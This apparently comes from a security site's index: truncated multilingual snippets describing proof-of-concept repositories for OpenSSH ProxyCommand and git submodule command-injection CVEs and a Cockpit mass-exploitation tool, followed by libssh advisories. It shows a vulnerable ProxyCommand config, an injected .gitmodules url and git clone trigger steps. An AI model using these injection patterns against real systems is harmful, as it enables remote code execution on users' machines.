CVE-2023-51385_poc-test

CVE-2023-51385 poc OpenSSH ProxyCommand RCE poc OpenSSH 9.6 уязвимость внедрения команд poc 中文 1.vim /.ssh/config or edit C:/Users/username/.ssh/config в системе Windows root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 2. git clone...

CVE-2023-51385_test

CVE-2023-51385 검증 먼저 /.ssh/config에 다음 내용을 추가해야 합니다 root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules 파일 구문에는 명령 주입이 존재합니다 root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar 구성 완료 후 아래 명령을 실행하여 트리거합니다 root@kitploit: git clon...

CVE-2023-51385_test

CVE-2023-51385の検証 まず /.ssh/configに以下を追加 root@kitploit: ホスト .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodulesファイルの文にコマンドインジェクションが存在 root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar 設定完了後、以下のコマンドを実行してトリガー root@kitploit: git クローン...

CVE-2017-1000117

CVE-2017-1000117 작동 방식? root@kitploit: $ git clone --recursive [email protected]:ikmski/CVE-2017-1000117.git 이 저장소를 만드는 방법 root@kitploit: $ cat message.txt | gzip | base64 command $ git submodule add [email protected]:ikmski/Hello-World.git subs/CVE-2017-1000117 $ cat .gitmodules...

cve-2023-51385

CVE-2023-51385の検証 まず、/.ssh/configに以下の内容を追加する必要があります root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodulesファイルの記述にはコマンドインジェクションが存在します root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar 設定が完了したら、以下のコマンドを実行してトリガーします root@kitploit:...

cve-2025-61984-poc

CVE-2025-61984 PoC これは、改行を使用してOpenSSH 10.1のProxyCommandを混乱させる概念実証です。詳細な解説。 実行方法 以下を含む.ssh/configを設定します: root@kitploit: Host .example.com ProxyCommand some-command %r@%h:%p コマンドは何でも構いません。引数内のどこかに引用符で囲まれていない%rが必要なだけです。 次にbashの場合実行します: root@kitploit: $ git clone --recursive...

poc-proxycommand-vulnerable

RCE через небезопасный /.ssh/config Использование токенов, таких как %h, %p, в ProxyCommand довольно популярно для организации туннелей и проксирования соединений через SSH. Уязвимая конфигурация root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p...

CVE-2023-51385-

안전하지 않은 /.ssh/config를 통한 RCE SSH.ProxyCommand에서 터널 및 연결 프록시를 위해 %h, %p와 같은 토큰을 사용하는 것은 꽤 일반적입니다. 취약한 설정 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 참고: 처음 평가에서는 '%h단일 인용부호를 사용하면 이를 피할 수 있을 것이라고 생각했지만, 다음과 같은 것으로는 여전히 취약한 것 같습니다: ssh://echo helloworld...

CVE-2026-4631-cockpit-RCE

CVE-2026-4631 — Cockpit 대량 익스플로잇 도구 인증되지 않은 원격 코드 실행 — SSH 명령줄 인자 삽입 Cockpit 버전 327359 | CVSS 9.8 중요Critical | CWE-78 Cockpit 웹 서비스cockpit-ws, 포트 9090의 CVE-2026-4631을 위한 대량 익스플로잇 도구입니다. 취약점 스캔 모드, 내장 HTTP 콜백 리스너를 통한 명령 출력 캡처 RCE 모드, --auto 모드스캔 + 익스플로잇을 한 번에, 기본 명령어 id, 포트가 없는 대상에 자동으로:9090 추가, 두...

CVE-2023-51385

CVE-2023-51385 OpenSSH ProxyCommand RCE 1. ProxyCommand가 다음과 같이 설정된 경우: root@kitploit: Host .com ProxyCommand /usr/bin/nc -X connect -x 127.0.0.1:7890 %h %p 2. 개념 증명을 위해 다음 명령을 사용하십시오: root@kitploit: git clone https://github.com/Le1a/CVE-2023-51385 --recurse-submodules...

CVE-2017-1000117

CVE-2017-1000117 이 모듈은 CVE-2017-1000117에 취약한지 테스트하는 데 사용할 수 있습니다. root@kitploit: git clone https://github.com/timwr/CVE-2017-1000117.git --recurse-submodules ls CVE-2017-1000117 취약할 경우 출력: root@kitploit: $ git clone https://github.com/timwr/CVE-2017-1000117.git --recurse-submodules Cloning into...

CVE-2023-51385---OpenSSH-ProxyCommand-Injection-PoC

🔐 CVE-2023-51385 - OpenSSH ProxyCommand 인젝션 PoC 이 저장소는 OpenSSH의 ProxyCommand 옵션에서 발생하는 명령 인젝션 취약점인 CVE-2023-51385에 대한 개념 증명PoC 을 포함하고 있습니다. SSH 구성을 제어하거나 신뢰할 수 없는 ProxyCommand 문자열을 가진 공격자는 잠재적으로 임의 코드 실행을 달성할 수 있습니다. 📌 영향 : 악의적이거나 부적절하게 처리된 ProxyCommand 값을 통한 임의 명령 실행. ⚠️ 영향을 받는 버전 : CVE-2023-5138...

CVE-2023-51385_test

Проверка CVE-2023-51385 Сначала необходимо добавить в /.ssh/config следующее содержимое root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p В файле .gitmodules в операторе присутствует внедрение команд root@kitploit: url = ssh://echo helloworld...

libssh security update

An update is available for libssh. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list libssh is a library which implements the SSH protocol. It can be used to...

libssh: libssh: information disclosure via ProxyCommand %r username expansion

A flaw was found in libssh. A malicious username expanded through %r in ProxyCommand handling can inject shell metacharacters, exposing environment variables and causing unintended shell behavior...

libssh: libssh: denial of service via unchecked ProxyCommand fork() failure

A flaw was found in libssh. When ProxyCommand is used, an unchecked fork failure can be stored as process ID -1; during cleanup, signals may then be sent across the caller's accessible process tree, leading to local denial of service...

Moderate: Red Hat Security Advisory: libssh security update

An update for libssh is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the...

libssh: libssh: information disclosure via ProxyCommand %r username expansion

A flaw was found in libssh. A malicious username expanded through %r in ProxyCommand handling can inject shell metacharacters, exposing environment variables and causing unintended shell behavior...

libssh: libssh: denial of service via unchecked ProxyCommand fork() failure

A flaw was found in libssh. When ProxyCommand is used, an unchecked fork failure can be stored as process ID -1; during cleanup, signals may then be sent across the caller's accessible process tree, leading to local denial of service...

USN-8699-1 libssh vulnerabilities

It was discovered that libssh had a stack buffer overflow in its SFTP server when constructing directory listing entries for long filenames. An attacker could possibly use this issue to cause libssh to crash or execute arbitrary code. This issue only affected Ubuntu 26.04 LTS. CVE-2026-15370 It w...